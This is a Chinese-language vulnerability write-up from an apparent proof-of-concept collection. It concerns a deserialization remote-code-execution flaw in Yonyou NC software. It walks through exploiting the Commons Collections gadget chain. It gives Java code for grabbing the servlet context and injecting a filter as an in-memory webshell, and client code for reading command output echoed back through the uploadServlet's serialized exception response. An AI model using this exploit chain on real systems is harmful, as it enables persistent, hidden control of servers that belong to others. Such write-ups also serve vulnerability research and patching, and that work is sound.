Awesome-POC/OA产品漏洞/用友 NC 反序列化RCE漏洞.md

84 lines
3.4 KiB
Markdown
Raw Normal View History

2022-02-21 09:35:01 +08:00
# 用友 NC 反序列化RCE漏洞
## 漏洞描述
用友NC 存在反序列化 RCE漏洞攻击者可利用控制服务器
## 漏洞影响
```
用友 NC
```
## 漏洞复现
首先从任意文件上传说起
任意文件上传分析代码在`servlet.FileReceiveServlet`。在这里我们可以看到从请求中读取流然后转换为map类型并读取上传文件的路径。然后再读取待上传的文件。
![yongyou-5-1](https://typora-1308934770.cos.ap-beijing.myqcloud.com/yongyou-5-1.png)
而网上很多poc大多都是基于此漏洞利用反序列化上传一个文件到服务器。
这也就是去年的那个任意文件上传的反序列化漏洞。但是但是这个漏洞本质是一个反序列化漏洞。而且某C的classpath中也存在apache commonscollections库我们可以利用这个库直接执行命令或者内存马。岂不是比任意文件上传舒服多了。
**内存马**
老样子在反序列化中想执行任意代码一般都依靠xalan这个库。这次也不例外。
植入内存马关键在于我们怎样找到context只有找到context我们才可以添加filter。好在某c中我们只需要通过下面的代码既可以获取当前context不需要从tomcat中获取context
```java
Object obj = 改动Locator.getInstance().lookup("ServletContext");
Field contextField = obj.getClass().getDeclaredField("context");
contextField.setAccessible(true);
obj = contextField.get(obj);
Field contextField1 = obj.getClass().getDeclaredField("context");
contextField1.setAccessible(true);
addFitlertoTomcat(contextField1.get(obj));
```
剩下的就是常规操作,可以看我之前的内存马模型,基本不需要很大的改动即可完美适配。
![yongyou-5-2](https://typora-1308934770.cos.ap-beijing.myqcloud.com/yongyou-5-2.png)
**回显**
我们只需要找到这样一个servlet即存在反序列化的readObject又将错误信息写入到response中
不难看出 uploadServlet 就很满足这个需求。
```plain
out = new ObjectOutputStream(output);
in = new ObjectInputStream(request.getInputStream());
String dsName = (String)in.readObject();
}
} catch (Exception var14) {
var14.printStackTrace();
if (out == null) {
throw new ServletException(var14);
}
out.writeObject(var14);
```
如果出错的话将错误信息通过序列化写入到response中。好处在于我们不需要麻烦的去找tomcat的response对象。
所以我们将反序列化的payload发送给uploadServlet即可。然后我们只需要读取响应即可拿到服务器命令执行的回显结果。客户端代码可以这样写
```java
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r));
Exception e = (Exception) objectInputStream.readObject();
Object obj = e.getCause();
Field targetF = obj.getClass().getDeclaredField("target");
targetF.setAccessible(true);
obj = targetF.get(obj);
Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage");
msgF.setAccessible(true);
String msg = msgF.get(obj).toString();
System.out.println(msg);
```
## 参考文章
https://mp.weixin.qq.com/s/IdXYbjNVGVIasuwQH48Q1w